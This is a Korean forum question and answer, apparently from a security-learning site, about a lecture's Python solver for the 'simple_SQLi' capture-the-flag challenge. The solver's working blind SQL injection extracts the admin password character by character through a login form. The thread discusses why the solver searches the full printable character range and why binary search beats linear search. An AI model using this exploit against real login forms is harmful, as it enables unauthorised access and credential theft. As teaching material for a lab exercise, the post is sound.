blind_sql_injection 강의코드 이해안되는 부분 질문드립니다.
#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> requests.Response:
login_data = {"userid": userid, "userpassword": userpassword}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f'" or {query}-- ', "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low + high) // 2
if low + 1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def _find_password(self, user: str, pw_len: int) -> str:
pw = ""
for idx in range(1, pw_len + 1):
query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
print(f"{idx}. {pw}")
return pw
def solve(self) -> None:
# Find the length of admin password
pw_len = solver._find_password_length("admin")
print(f"Length of the admin password is: {pw_len}")
# Find the admin password
print("Finding password:")
pw = solver._find_password("admin", pw_len)
print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
blind sql injection으로 푸는 강의에서 비밀번호 길이를 알아낸 후, 비밀번호 자체를 알아내는 코드입니다. 여기서 질문입니다.
-
pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
여기서 범위가 왜 0x2F(/)부터 0X7E(~)까지 인가요?
app.py에서 userpassword에 binascii.hexlify(os.urandom(16)).decode("utf8")) 이런 식으로 넣어줬는데, 그렇다면 16진수 문자열은 0-9의 숫자와 a-f의 소문자 알파벳만을 포함합니다. 쓸데없이 포함하지 않아도 되는 대문자 알파벳 범위(0x41~0x5A)도 포함하게 됩니다.
또, 굳이 시작하면 0x30(0)부터 시작하면 되는거 아닌가요? -
이렇게 필요없는 범위가 들어가있을 때는 이진탐색보다 전체를 다 탐색하는게 더 효율적일 수 있지 않을까요? 16개 문자열만 탐색하면 되는데 범위가 지나치게 넓은 것 같습니다.
#sql_injection
#sql
#injection
#blind_sql_injection
#simple_sqli
#blind
작성자 정보
답변
1
J0ngBae
Crazy 8
안녕하세요~!
- 현재 문제 소스코드에서는 admin의 패스워드가
binascii.hexlify(os.urandom(16)).decode("utf8")
로 총 32자로 이루어져있고, 문자의 범위는 0~f 입니다. 따라서 작성자님의 말씀대로 해당 문제에서는 0~f까지의 문자만 이용해서 blind SQLI를 해주시면 됩니다. 하지만 admin의 패스워드가 몇 자인지 문자의 구성은 어떻게 되는지 대한 정보를 주지 않는 문제도 있고 공격하고자 하는 환경이 블랙박스 환경일 수 도 있습니다. 그럴 때는 human readable한 문자(?) 즉, 일반적으로 패스워드로 쓰일 수 있는 모든 문자 0x20(공백) 부터 0x7E까지 포함시켜야 안정적으로 익스플로잇 코드가 동작할 것입니다. 해당 강의 자료의 익스플로잇 코드는 그런 상황까지 염두한 것 같습니다.
- 전체를 다 탐색하는 경우(선형탐색) 시간 복잡도는 O(n) 이 되고, 이진 탐색의 경우 O(log n)이 됩니다. 위와 같이 필요없는 부분을 제외하고 돌렸을 때 선형 탐색의 경우 O(16), 이진탐색의 경우 O(log 16) = O(4)가 됩니다. 필요없는 부분을 제외 하더라도 이진탐색을 할 때가 더 효율적이라고 할 수 있겠네요. 물론 운 좋게 한 번의 탐색으로 패스워드의 들어가는 문자를 찾을 수 있으면 O(1)로 훨씬 빠르게 찾을 수 있지만 이런 경우는 정말 예외적인 경우이기 때문에 일반적으로는 이진탐색을 하는 것이 효율적입니다!